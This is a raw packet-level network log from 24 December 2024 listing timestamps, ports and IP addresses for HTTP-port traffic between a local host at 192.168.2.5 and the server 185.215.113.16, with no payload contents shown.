Dec 24, 2024 12:39:34.421520948 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.422432899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.422476053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.422483921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.422513962 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.422547102 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.423394918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.423470974 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.423479080 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.423530102 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.424382925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.424438953 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.424448967 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.424458027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.424498081 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.425313950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.425358057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.425364971 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.425415993 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.426496029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.426515102 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.426523924 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.426575899 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.426605940 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.427372932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.427417994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.427427053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.427484989 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.473678112 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.473687887 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.473705053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.473741055 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.473993063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.474045992 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.474112988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.474550962 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.474601030 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.474644899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.475172043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.475239038 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.475239992 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.475248098 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.475294113 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.476217985 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.476226091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.476234913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.476296902 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.477114916 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.477168083 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.477171898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.477191925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.477696896 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.478085995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.478141069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.478234053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.478285074 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.479080915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.479101896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.479108095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.479159117 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.479182959 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.480022907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.480091095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.480101109 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.480139971 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.480992079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.481013060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.481067896 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.535445929 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.545845985 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.545944929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.545953989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.546029091 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.546416998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.546469927 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.546521902 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.546531916 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.546567917 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.547297001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.547372103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.547380924 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.547430038 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.548232079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.548283100 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.548372984 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.548382044 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.548418999 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.549201965 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.549274921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.549688101 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.599376917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.599423885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.599433899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.599488020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.599878073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.599934101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.599942923 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.599991083 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.600846052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.600965977 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.601011038 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.601449966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.601506948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.601522923 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.601552963 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.602401018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.602442026 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.602463961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.602472067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.602508068 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.603199005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.603251934 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.603259087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.603295088 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.604147911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.604196072 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.604231119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.604240894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.604270935 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.605165958 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.605214119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.605222940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.605257034 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.606115103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.606134892 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.606148005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.606189013 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.607084036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.607155085 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.607165098 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.607207060 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.608036041 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.608083963 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.608094931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.608103037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.608153105 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.609024048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.609091043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.609107971 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.609153986 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.610013008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.610040903 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.610049009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.610094070 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.610953093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.611013889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.611022949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.611074924 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.611928940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.611984968 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.611990929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.612000942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.612086058 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.612976074 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.613054991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.613063097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.613109112 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.613908052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.613957882 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.613965034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.613974094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.614012957 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.614845991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.614911079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.614918947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.614979029 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.615827084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.615868092 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.615876913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.615910053 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.615931034 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.616795063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.616858959 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.616875887 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.616920948 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.617805004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.617847919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.617856026 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.617903948 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.618735075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.618779898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.618788958 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.618832111 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.619704962 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.619724989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.619730949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.619755030 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.619784117 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.666085005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.666095018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.666110992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.666165113 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.666450977 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.666503906 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.666520119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.666528940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.666573048 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.667443037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.667670012 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.667723894 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.667728901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.667737961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.667772055 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.668662071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.668736935 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.668745995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.668783903 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.669699907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.669708967 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.669717073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.669754982 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.670542955 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.670623064 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.670630932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.670676947 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.671523094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.671577930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.671586037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.671592951 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.671628952 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.672498941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.672558069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.672566891 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.672600031 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.673472881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.673574924 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.673584938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.722884893 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.738236904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.738297939 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.738306999 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.738368034 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.738781929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.738835096 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.738852978 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.738899946 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.739826918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.739931107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.739940882 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.739995003 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.740948915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.740957975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.740973949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.741007090 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.741027117 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.741625071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.741677046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.742405891 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.791788101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.791888952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.791898012 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.791944981 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.792253017 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.792299032 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.792351007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.792360067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.792391062 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.793205023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.793247938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.793256998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.793307066 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.794186115 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.794243097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.794245005 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.794251919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.794291973 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.795191050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.795237064 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.795245886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.795288086 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.796142101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.796190977 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.796197891 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.796200991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.796246052 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.797092915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.797143936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.797281981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.797332048 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.798110008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.798168898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.798178911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.798212051 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.799050093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.799103022 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.799113035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.799165964 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.800010920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.800052881 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.800070047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.800080061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.800118923 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.801000118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.801090002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.801099062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.801136017 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.801997900 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.802041054 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.802048922 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.802098989 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.802948952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.803045034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.803054094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.803092957 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.803945065 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.804003000 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.804029942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.804039001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.804066896 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.804927111 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.805036068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.805044889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.805090904 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.805902004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.805962086 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.805977106 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.806014061 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.806040049 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.806864023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.806921005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.806930065 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.806972027 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.807770967 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.807828903 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.807837963 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.807842970 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.807876110 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.808835030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.808923960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.808932066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.808973074 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.809743881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.809798956 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.809807062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.809842110 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.810689926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.810746908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.810755014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.810787916 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.811693907 CET	80	49727	185.215.113.16	192.168.2.5
